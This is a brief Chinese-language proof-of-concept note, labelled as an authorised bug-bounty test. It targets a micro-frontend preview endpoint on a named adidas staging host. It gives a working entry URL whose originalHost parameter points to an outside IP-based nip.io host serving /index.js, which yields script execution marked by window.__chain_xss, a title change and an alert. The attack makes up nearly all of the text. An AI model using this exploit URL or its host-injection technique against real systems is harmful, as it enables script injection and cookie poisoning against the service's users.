adidas glass 微前端 cookie 投毒链 PoC(授权 SRC 测试)

入口链接:https://microfrontends-staging.glass.adidas.com/cprs-form-mf/preview?originalHost=www.66.135.23.170.nip.io

payload:/index.js(执行标记 window.__chain_xss / title=MF-POC-EXECUTED / alert)